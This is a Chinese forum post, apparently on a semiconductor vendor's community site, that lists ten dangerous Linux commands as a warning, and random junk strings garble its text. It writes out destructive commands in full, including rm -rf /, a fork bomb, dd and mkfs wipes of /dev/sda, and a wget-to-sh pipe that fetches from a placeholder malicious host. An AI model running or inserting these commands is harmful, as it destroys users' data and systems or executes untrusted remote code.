你的浏览器版本过低,可能导致网站不能正常访问!
为了你能正常使用网站功能,请使用这些浏览器。

10个最危险的Linux命令

[复制链接]
gaosmile 发布时间:2020-7-29 13:12
就像在Windows上一样,Linux也有很多终端命令来执行不同的操作。但是,与Windows不同,Linux不会要求您确认是否运行任何可能损坏系统的命令。因此,我们建议您无论如何都不要使用这些命令。
; o' p8 {- m# T: P: o4 E6 E3 h
9 {* o$ s. _7 ?+ T* h
当然,以下命令通常都是在root权限下才能将愚蠢发挥到无可救药;在普通用户身份下,破坏的只是自己的一亩三分地。
' v: ~0 e9 r5 ^( f. t8 w
; g' X; I/ K% m% D

# x( D1 H) c& o. K1 e/ E' ?1. rm -rf 命令) W; e) L; q8 j' d' b

8 Y4 O- C3 O9 A4 H" p

. u- c$ v! f; s/ q5 @4 i" ~rm -rf命令是删除文件夹及其内容最快的方式之一。* l6 _- Z( N0 a; r, \6 U: W6 e7 h

! e( x4 C3 B# j7 q) c. b

" F; m' m) _8 A* n0 J, m仅仅一丁点的敲错或无知都可能导致不可恢复的系统崩坏。  E+ x& ~7 o6 s; c$ e* S
4 H/ q) I$ |7 Q% F6 k; v, s  U3 `9 U# ?
- W) n% Y' k% _' {. n
下列是一些rm 命令的选项:; Q% G6 P5 h# I6 Y, s

9 ^3 K) g7 q8 ^0 ?$ C
) q& D$ }( N4 d1 |- w% p: X( T- N
1.rm命令在Linux下通常用来删除文件。; o. d7 `: G/ W: {" R% D2 S' |4 c( a
2.rm -r 命令递归的删除文件夹,甚至是空的文件夹。: o! [" x; N0 m1 _
3.rm -f 命令能不经过询问直接删除‘只读文件’。Linux下删除文件并不在乎该文件是否是只读的,而只是在意其父目录是否有写权限。所以,-f这个参数只是表示不必一个个删除确认,而是一律悄悄删除。另外,原始的rm命令其实也是没有删除提示的,只是一般的发行版都会将rm通过别名的方式增加-i参数来要求删除确认,而-f则抑制了这个提示。
$ W  g  z  N, @' C+ \4.rm -rf / : 强制删除根目录下所有东东。0 f6 o2 D9 t3 S1 w8 @- C- P
5.rm -rf *:强制删除当前目录的所有文件。' ~5 d7 t+ ?& @; o
6.rm -rf . : 强制删除当前文件夹及其子文件夹。
" G0 j, w- h8 ~' H5 K) b3 j
1 K* }5 E3 d' e4 A2 M. M

' i' |2 `4 P" m& a$ D) K从现在起,当你要执行rm -rf命令时请留心一点。我们可以在“.bashrc”文件对‘rm‘命令创建rm -i的别名,来预防用 ‘rm‘命令删除文件时的事故,它会要求你确认每一个删除请求。(译注:大多数发行版已经这样做了,如果还没有,请这样做,并在使用-f参数前一定考虑好你在做什么!译者本人有着血泪的教训啊。)8 a5 r% k4 E; X* [& C
* c6 W, j$ I! F( M4 O
& h, a3 f1 V1 @4 E; X
2. :{:|:&};: 命令3 M& X% p- ]: Y7 ?4 Y
) y* }% E9 X$ ?* N; C1 U3 I9 j
/ H8 G; E1 k8 ]/ i( A
这就是个fork 炸弹的实例。5 k# R9 g: Q7 q, m9 h

. e* D2 M5 X' u& r6 G: O
* ]* i9 K7 x: K
具体操作是通过定义一个名为 ‘:‘的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。4 a! e. m8 h+ q' e" i

1 ]/ G' F, k5 h/ X6 B! X
( Q  H, M% A% p- F$ z. Z) _
3. 命令> /dev/sda
& Y# U3 N. ~5 b
! C- W* |/ t  Q( f7 Z* ]' J$ q

; C, b# o) ^: c0 b这个命令会将某个‘命令‘的输出写到块设备/dev/sda中。: E7 d6 k% c' G
) d6 C( B% c, {6 Q; a0 u" G7 J
& T* L! K; l$ Q1 T3 R& x
该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。! a8 f! u" a9 e' `& W$ |$ P
2 ^3 `4 w" ~2 ?+ f' U, Y) r, @" p

) ?8 m4 L( M( t( h. E$ |$ H% x! z4. mv 文件夹 /dev/null4 d  a: k" a/ U' N* D  A

( T0 ^3 O: y% k0 `7 N

8 C* |& M* B- ]3 s- y; E# G6 U* K这个命令会移动某个‘文件夹‘到/dev/null。9 |+ d# c* j* P: j! n. m  A' H

8 m7 {: j. k" Y# f" Q. M
+ p7 q) w+ f% V# ~9 r4 f% i) s8 p
在Linux中 /dev/null 或 null 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。
" X1 K# V! P4 i- t  f. T: a' d5 I: C( O; Y' L9 n

% J+ O; w  Z7 `; N当然,要说明的是这个命令并不能阻止数据恢复软件——所以,真正的彻底毁灭,需要采用专用的软件或者手法来完成。
4 ]: j4 p& Z5 o/ v: R, J
7 V* M# i# B4 `2 E% x) m

9 U+ G) i! A; [6 a( N3 m5. wget http://malicious_source -O- | sh. F$ B7 @1 M6 b7 w

8 c' X0 D% r) C  i9 R) [% X

1 p+ P$ I0 q  K. T, K该命令会从一个(也许是)恶意源下载一个脚本并执行。0 U+ C; |0 I% C, c( P+ s

! s  a2 C( N9 a& A% p8 I( X/ f

  U( V' N5 h' z( f7 L% V8 ]Wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。+ {3 b. O5 o2 L: m% A, R
. W$ w+ T; S) m& y/ o. O

5 v+ z  c0 ?' ]8 j注意: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。
, ^& e  ~! Q# Y$ q5 R3 |7 h. p7 n8 u& e+ S( C
2 p3 U) \) [3 _" \0 x: i
6. mkfs.ext3 /dev/sda! a! ~) b% j- @/ a4 g$ y4 U
* f2 M: q9 r  v/ b+ V

6 p7 t& N& A3 K( z6 C* \* P上列命令会格式化块设备‘sda’,在执行这个命令后你的块设备(硬盘驱动器)会被格式化,直接让你的系统达到不可恢复的阶段。4 d$ _% D8 j( P) A# z0 _$ c* s2 a

! G7 l9 X/ C% h( q/ e
/ p. l9 x' S. n7 k3 M
通常我们不会直接使用/dev/sda这样的设备,除非是作为raw设备使用。
2 L0 A. e7 y+ F0 {; G, j- ~8 }; F4 c+ j& @
% u0 r6 O+ D2 X- X0 D# N
一般都需要将sda分成类似sda1、sda2这样的分区后才使用。当然,无论你使用sda还是sda1,这样对块设备或分区进行mkfs都是毁灭性的,上面的数据都会被蒸发了。6 O; W# l) N! L
$ u1 G2 d1 R; I4 d0 N

9 Z/ Y5 f6 @0 F% Q9 N4 \" y9 H7. > file; ^# }9 |) [  {1 J9 ^

0 t4 s% B6 ~) N# a
/ M4 m) o* R( ~, H) t& i& R2 ]
这个命令常用来清空文件内容或记录命令输出。( {$ S- {/ n% q; g2 G" R
, D3 M* J9 Z4 q! I1 {8 x. u
2 q. d+ \/ ~( W9 o( }
不过请在执行前,确认输出的文件是空的或者还不存在,否则原来的文件可真是恢复不了了——连数据恢复软件都未必能帮助你了。
9 Z: n9 B- l' G$ Z9 A3 m& `! X" U0 O8 I

! E" ~) R9 P. i8 E/ R# J' g' J你可能真正想用的是“>>”,即累加新的输出到文件,而不是刷新那个文件。. @# B" R& \# u" s6 r( a+ o* R
1 E5 ?% q5 A7 N; [, y5 L- r

: T8 b; Q3 U* F* u' D如果用上列执行时输入错误或无知的输入类似 “> xt.conf”的命令会覆盖配置文件或其他任何的系统配置文件。
9 L7 b: @4 l# D( j; I" e4 |% @" B5 S6 Q& g9 A" p3 ]

0 B/ y! V8 A" x. y: l4 c' F2 m4 \8. ^foo^bar% ]' ?4 I4 l) e. D$ K

0 \1 A: w) H$ r6 P
# [. U* R' m( b: u+ F& D# r
这个命令用来编辑先前运行的命令而无需重打整个命令。( L# ?% I, L9 p/ o8 M( Y: Y
2 I3 C& C. d& t# m% L
, \6 p* Z: H+ m
用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。$ x: b, [6 [/ A# s0 T
  _% i# u5 }# X, O& c

& ?" t% T  V( r7 z' h# a1 q& L+ F9. dd if=/dev/random of=/dev/sda
! Y, A$ c5 }1 R7 ^# R
* d4 J4 O$ @' ~7 P0 b4 C) u7 a& _
$ G- P, M- d! c( n4 c1 @
这个命令会向块设备sda写入随机的垃圾文件从而擦出数据,让你的系统可能陷入混乱和不可恢复的状态。
" \3 E1 `: `$ I4 W. S
  l' u% S' D1 i9 W2 [8 o
& F) {+ {* k# ?+ l
记得上面说过mv到黑洞并不能彻底删除数据么?那么这个命令就是给了你一个彻底删除的方法!当然为了保险起见,你可以覆写多次。
, [% ^$ y, [9 ^9 D
5 x# Q' w% K' ?& l) A
* A) T; j; L) H: w& D
10. 隐藏命令
9 x! T0 V  j4 l, {" h, @; q' j1 p" p' x6 v. W6 j0 o
) M* g" k- X& ]. U, Z
下面的命令其实就是上面第一个命令 (rm -rf)。
1 d) V! ?* \! |/ Y7 [. ?! ~8 A: N5 \* ?
' }  _8 `: J# v7 T& G; E: v* `1 D

) S! ~( K" y* G* ?4 \这里的代码是隐藏在十六进制里的,一个无知的用户可能就会被愚弄,如果在终端里运行下面命令可能会擦除你的根分区。7 K9 m3 D0 ~5 Y8 S
# Z% r' _- Y4 Y* u+ E0 G

8 ~2 `3 i) s- i& q真正的危险是隐藏起来的,不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。9 s6 A; c# _* G: O" a9 ?7 }; _2 r
) z- j* G4 u! y2 [9 J

3 s4 }% q0 p. H4 s- G9 u& K切记,千万不要编译/运行从未知来源的代码。; C0 B3 v7 F, h% |: w) o- V9 m1 f) _6 h

7 _5 _0 s  T- i0 j/ {
! H3 J5 B/ o# p1 F% V
今天给大家带来的是个命令到这里就结束了啦,请千万记住不要再服务器或者其他设备上随意尝试~如果你想测试它们,请在虚拟机上运行,不然文件丢失或者系统奔溃就不好了。: e0 W4 t& r5 e$ U& K

" D% p, R& Q# S' X! x( ~' f
赞 收藏 评论0 发布时间:2020-7-29 13:12

举报

0个回答
关于
我们是谁
投资者关系
意法半导体可持续发展举措
创新与技术
意法半导体官网
联系我们
联系ST分支机构
寻找销售人员和分销渠道
社区
媒体中心
活动与培训
隐私策略
隐私策略
Cookies管理
行使您的权利
官方最新发布
人形机器人运动控制、感知与智能配电
半导体创新技术与应用方向
EE架构与软件定义汽车
12V/48V 汽车智能配电(SPD)
区域控制单元(ZCU)与分区架构
关注我们
st-img 微信公众号
st-img 手机版